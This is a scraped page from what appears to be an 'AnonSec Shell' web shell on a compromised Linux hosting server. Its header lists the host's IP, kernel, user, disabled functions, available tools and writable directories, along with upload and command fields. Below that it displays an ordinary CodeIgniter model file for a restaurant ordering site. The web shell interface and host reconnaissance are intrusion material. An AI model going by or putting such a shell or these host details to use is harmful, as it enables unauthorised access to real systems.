AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_projetos/sopizzas/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_projetos/sopizzas/application/models/restaurantmanagement_model.php
<?php
Class Restaurantmanagement_model extends CI_Model {

function CategoryStatistics($status='')
{
	$this -> db -> select('*');
	$this -> db -> from('rt_category_main');
    $this->db->where('restaurant_id', 0);
	if($status!='') { $this -> db -> where('status',$status);  }
	$query = $this -> db -> get();
	return $query->num_rows();
}

function MenuStatistics($status='',$menu_popular_dish='',$menu_type='')
{
    $this -> db -> select('*');
    $this -> db -> from('rt_restaurant_menu');
    if($status!='') { $this -> db -> where('status',$status);  }
    if($menu_popular_dish!='') { $this -> db -> where('menu_popular_dish',$menu_popular_dish);  }
    if($menu_type!='') { $this -> db -> where('menu_type',$menu_type);  }
    $query = $this -> db -> get();
    return $query->num_rows();
}

function AddonsStatistics($status='')
{
    $this -> db -> select('*');
    $this -> db -> from('rt_restaurant_addons');
    if($status!='') { $this -> db -> where('status',$status);  }
    $query = $this -> db -> get();
    return $query->num_rows();
}

function OffersStatistics($status='')
{
    $this -> db -> select('*');
    $this -> db -> from('rt_restaurant_offer');
    if($status!='') { $this -> db -> where('status',$status);  }
    $query = $this -> db -> get();
    return $query->num_rows();
}



function get_category_list($params = array(), $action = '',$action2 =0)
    {
        $this->db->select('*');
        $this->db->from('rt_category_main');
        if ($action == '1' || $action == '0') {
        	$this->db->where('status', $action);
        }
        else if ($action == '19') {
        	$this->db->order_by('maincatename', 'ASC');
        }
        else if ($action == '91') {
        	$this->db->order_by('maincatename', 'DESC');
        }
        else if ($action == '89') {
            $this->db->order_by('status', 'ASC');
        }
        else if ($action == '98') {
            $this->db->order_by('status', 'DESC');
        }
        else {
        	$this->db->order_by('maincateid', 'DESC');
        }

       
        
            $this->db->where('restaurant_id', $action2);

        
        if(array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit'],$params['start']);
        }elseif(!array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit']);
        }
        
        $query = $this->db->get();
        
        return ($query->num_rows() > 0)?$query->result_array():FALSE;
    }


    function RestaurantList($condition = '') 
	{
        $is_active = 1;
	  	$is_validate = 1;
		$this->db->select('*');
		$this->db->from('rt_restaurant');
        if ($condition == 'all') {
            $this->db->where('restaurant_validate = ' . "'" . $is_validate . "'".' order by restaurant_name ASC');
        }
        else {
            $this->db->where('restaurant_status = ' . "'" . $is_active . "'".' AND restaurant_validate = ' . "'" . $is_validate . "'".' order by restaurant_name ASC');
        }
		$query = $this->db->get();

		if ($query->num_rows() > 0) 
		{
		return $query->result();
		}
		return false;
	}

    function get_menu_list($params = array(), $action = '',$action2 =0)
    {
        /*1 =>Active
        0=>Deactive<                                 
        2=>Popular
        3=>Normal                                
        4=>Menu Type - Veg                                
        5=>Menu Type - Non                                   
        6=>Menu Name A to Z                                
        7=>Menu Name Z to A                                
        8=>Category Name A to Z                                
        9=>Category Name Z to A
        10=>Price A to Z                                
        11=>Price Z to A*/


        $this->db->select('rt_category_main.maincatename,rt_restaurant_menu.*');
        $this->db->from('rt_restaurant_menu');
        $this->db->join('rt_category_main','rt_category_main.maincateid=rt_restaurant_menu.menu_category');


        if ($action == '1' || $action == '0') {
            $this->db->where('rt_restaurant_menu.status', $action);
        }
        else if ($action == '2') {
            $this->db->order_by('rt_restaurant_menu.menu_popular_dish', 'DESC');
        }
        else if ($action == '3') {
            $this->db->order_by('rt_restaurant_menu.menu_popular_dish', 'ASC');
        }
        else if ($action == '4') {
            $this->db->order_by('rt_restaurant_menu.menu_type', 'DESC');
        }
        else if ($action == '5') {
            $this->db->order_by('rt_restaurant_menu.menu_type', 'ASC');
        }
        else if ($action == '6') {
            $this->db->order_by('rt_restaurant_menu.menu_name', 'ASC');
        }
        else if ($action == '7') {
            $this->db->order_by('rt_restaurant_menu.menu_name', 'DESC');
        }
        else if ($action == '8') {
            $this->db->order_by('rt_category_main.maincatename', 'ASC');
        }
        else if ($action == '9') {
            $this->db->order_by('rt_category_main.maincatename', 'DESC');
        }
        else if ($action == '10') {
            $this->db->order_by('rt_restaurant_menu.menu_price', 'DESC');
        }
        else if ($action == '11') {
            $this->db->order_by('rt_restaurant_menu.menu_price', 'ASC');
        }
        else {
            $this->db->order_by('id', 'DESC');
        }

        if($action2>0){
            $this->db->where('rt_restaurant_menu.restaurant_id', $action2);
        }

        if(array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit'],$params['start']);
        }elseif(!array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit']);
        }
        
        $query = $this->db->get();
        
        return ($query->num_rows() > 0)?$query->result_array():FALSE;
    }

    function get_offers_list($params = array(), $action = '',$action2 =0)
    {
        /*1 =>Active
        0=>Deactive<                                 
        2=>Addons Name A to Z
        3=>Addons Name Z to A                                
        4=>Category Name A to Z                           
        5=>Category Name Z to A  */     
        $today = date('Y-m-d');
        $data_up = array('status' => '0');
        $this->db->where('offer_valid_from >', $today);
        $this->db->or_where('offer_valid_to <', $today);
        $this->db->update('rt_restaurant_offer', $data_up);


        $this->db->select('rt_restaurant.restaurant_name,rt_restaurant_offer.*');
        $this->db->from('rt_restaurant_offer');
        $this->db->join('rt_restaurant','rt_restaurant.restaurant_id=rt_restaurant_offer.restaurant_id');

        if ($action == '1' || $action == '0') {
            $this->db->where('rt_restaurant_offer.status', $action);
        }
        else if ($action == '2') {
            $this->db->order_by('rt_restaurant.restaurant_name', 'ASC');
        }
        else if ($action == '3') {
            $this->db->order_by('rt_restaurant.restaurant_name', 'DESC');
        }        
        else {
            $this->db->order_by('offer_id', 'DESC');
        }

        if($action2>0){
            $this->db->where('rt_restaurant_offer.restaurant_id', $action2);
        }

        if(array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit'],$params['start']);
        }elseif(!array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit']);
        }
        
        $query = $this->db->get();
        
        return ($query->num_rows() > 0)?$query->result_array():FALSE;
    }

    function isCouponExist($offer_id = 0, $coupon_code, $restaurant_id) {
        $this->db->select('*');
        $this->db->from('rt_restaurant_offer');
        if ($offer_id > 0) {
            $this->db->where('offer_id !=', $offer_id);
        }
        $this->db->where('restaurant_id', $restaurant_id);
        $this->db->where('coupon_code', $coupon_code);
        $query = $this->db->get();
        return ($query->num_rows() > 0)?TRUE:FALSE;
    }

    function GetRestauratDetails($restaurant_id) 
    {
        $is_active = 1;
        $this->db->select('*');
        $this->db->from('rt_restaurant');
        $this->db->where('restaurant_id',$restaurant_id);
        $query = $this->db->get();

        if ($query->num_rows() > 0) 
        {
        return $query->row_array();
        }
        return false;
    }

function RestauratStatistics($status='')
{
    $this -> db -> select('*');
    $this -> db -> from('rt_restaurant');
    if($status!='') { $this -> db -> where('restaurant_status',$status);  }
    $this->db->where('restaurant_validate', '1');
    $query = $this -> db -> get();
    return $query->num_rows();
}


function get_restaurat_list($params = array(), $action = '',$action2 =0)
    {
        /*1 =>Active
        0=>Deactive<                                 
        2=>Addons Name A to Z
        3=>Addons Name Z to A                                
        4=>Category Name A to Z                           
        5=>Category Name Z to A  */     


        $this->db->select('rt_restaurant.*,rt_city.cityname');
        $this->db->from('rt_restaurant');
        $this->db->join('rt_city','rt_city.city_id=rt_restaurant.restaurant_city', 'left outer');
        $this->db->where('rt_restaurant.restaurant_validate', '1');

        if ($action == '1' || $action == '0') {
            $this->db->where('rt_restaurant.restaurant_status', $action);
        }
        else if ($action == '2') {
            $this->db->order_by('rt_restaurant.restaurant_name', 'ASC');
        }
        else if ($action == '3') {
            $this->db->order_by('rt_restaurant.restaurant_name', 'DESC');
        }
        
        else {
            $this->db->order_by('restaurant_id', 'DESC');
        }

        if($action2>0){
            $this->db->where('rt_restaurant.restaurant_id', $action2);
        }

        if(array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit'],$params['start']);
        }elseif(!array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit']);
        }
        
        $query = $this->db->get();
        
        return ($query->num_rows() > 0)?$query->result_array():FALSE;
    }


function get_restaurat_reviews_list($params = array(), $action = '',$action2 =0)
    {
        /*1 =>Active
        0=>Deactive<                                 
        2=>Addons Name A to Z
        3=>Addons Name Z to A                                
        4=>Category Name A to Z                           
        5=>Category Name Z to A  */     


        $this->db->select('rt_restaurant_reviews.*,rt_customer.customer_name,rt_restaurant.restaurant_name');
        $this->db->from('rt_restaurant_reviews');
        $this->db->join('rt_restaurant','rt_restaurant.restaurant_id=rt_restaurant_reviews.restaurant_id');
        $this->db->join('rt_customer','rt_customer.customer_id=rt_restaurant_reviews.customer_id');

        if ($action == '1' || $action == '0') {
            $this->db->where('rt_restaurant_reviews.status', $action);
        }
        else if ($action == '2') {
            $this->db->order_by('rt_customer.customer_name', 'ASC');
        }
        else if ($action == '3') {
            $this->db->order_by('rt_customer.customer_name', 'DESC');
        }
        else if ($action == '4') {
            $this->db->order_by('rt_restaurant.restaurant_name', 'ASC');
        }
        else if ($action == '5') {
            $this->db->order_by('rt_restaurant.restaurant_name', 'DESC');
        }
        else if ($action == '6') {
            $this->db->order_by('rt_restaurant_reviews.rating', 'ASC');
        }
        else if ($action == '7') {
            $this->db->order_by('rt_restaurant_reviews.rating', 'DESC');
        }
        else {
            $this->db->order_by('rating_id', 'DESC');
        }

        if($action2>0){
            $this->db->where('rt_restaurant.restaurant_id', $action2);
        }

        if(array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit'],$params['start']);
        }elseif(!array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit']);
        }
        
        $query = $this->db->get();
        
        return ($query->num_rows() > 0)?$query->result_array():FALSE;
    }

    function ReviewsStatistics($status='')
{
    $this -> db -> select('*');
    $this -> db -> from('rt_restaurant_reviews');
    if($status!='') { $this -> db -> where('status',$status);  }
    $query = $this -> db -> get();
    return $query->num_rows();
}

function get_restaurat_subscriptions_list($params = array(), $action = '',$action2 =0)
    {
        /*1 =>Active
        0=>Deactive<                                 
        2=>Addons Name A to Z
        3=>Addons Name Z to A                                
        4=>Category Name A to Z                           
        5=>Category Name Z to A  */     


        $this->db->select('rt_restaurant_subscription.*,rt_restaurant.restaurant_name,rt_restaurant.addeddate');
        $this->db->from('rt_restaurant_subscription');
        $this->db->join('rt_restaurant','rt_restaurant.restaurant_id=rt_restaurant_subscription.restaurant_id');

        if ($action == '1' || $action == '0') {
            $this->db->where('rt_restaurant.restaurant_status', $action);
        }
        else if ($action == '2') {
            $this->db->order_by('rt_restaurant.restaurant_name', 'ASC');
        }
        else if ($action == '3') {
            $this->db->order_by('rt_restaurant.restaurant_name', 'DESC');
        }
        
        else {
            $this->db->order_by('rt_restaurant_subscription.subscriptions_id', 'DESC');
        }

        if($action2>0){
            $this->db->where('rt_restaurant.restaurant_id', $action2);
        }

        if(array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit'],$params['start']);
        }elseif(!array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit']);
        }
        
        $query = $this->db->get();
        
        return ($query->num_rows() > 0)?$query->result_array():FALSE;
    }

    function getRestaurantData($restaurant_id) {
        $this->db->select('*');
        $this->db->from('rt_restaurant');
        $this->db->where('restaurant_id', $restaurant_id);
        $query = $this->db->get();
        return ($query->num_rows() > 0)?$query->row_array():FALSE;
    }

    function validateRestaurantOwner($verify_code) {
        $this->db->select('*');
        $this->db->from('rt_restaurant');
        $this->db->where('restaurant_validate_id', $verify_code);
        $query = $this->db->get();
        if ($query->num_rows() > 0) {
            $data = $query->row();
            if ($data->restaurant_validate == '1') {
                return 2;
            }
            else {
                $data_up = array(
                    'restaurant_validate' => '1'
                  );
                $this->db->where('restaurant_validate_id', $verify_code);
                $this->db->update('rt_restaurant', $data_up);
                return 1;
            }
        }
        else {
            return 0;
        }
    }

    function get_seo_for_restaurant($restaurant_id) {
        $this->db->select('*');
        $this->db->from('rt_restaurant');
        $this->db->where('restaurant_id', $restaurant_id);
        $query = $this->db->get();
        return $query->row();
    }


    function get_invoice_list($params = array(), $action = '',$action2 =0) {

        $driver_validate=1;

        $this->db->select('*');
        $this->db->from('restaurant_invoice');
        //$this->db->where('restaurant_id', $action);
        //$this->db->where('driver_validate', $driver_validate);
        #0 => pending
        #1 => approved
        #2 => rejected
       if ($action == '12') {
            //$this->db->order_by('addeddate', 'ASC');
        }
        else if ($action == '21') {
            //$this->db->order_by('addeddate', 'DESC');
        }
        else {
            $this->db->order_by('invoice_id', 'DESC');
        }
        if ($this->session->userdata('logged_in_restaurant')) {
          $action = $this->session->userdata('logged_in_restaurant')['id'];
          $action2 = 99999;
        }
        if ($action != '' && $action != 99999 && $action2 == 99999) {
            $this->db->where('restaurant_invoice.restaurant_id', $action);
        }


        if(array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit'],$params['start']);
        }elseif(!array_key_exists("start",$params) && array_key_exists("limit",$params)){
            $this->db->limit($params['limit']);
        }
        
        $query = $this->db->get();
        
        return ($query->num_rows() > 0)?$query->result_array():FALSE;
    }

}

Anon7 - 2022
AnonSec Team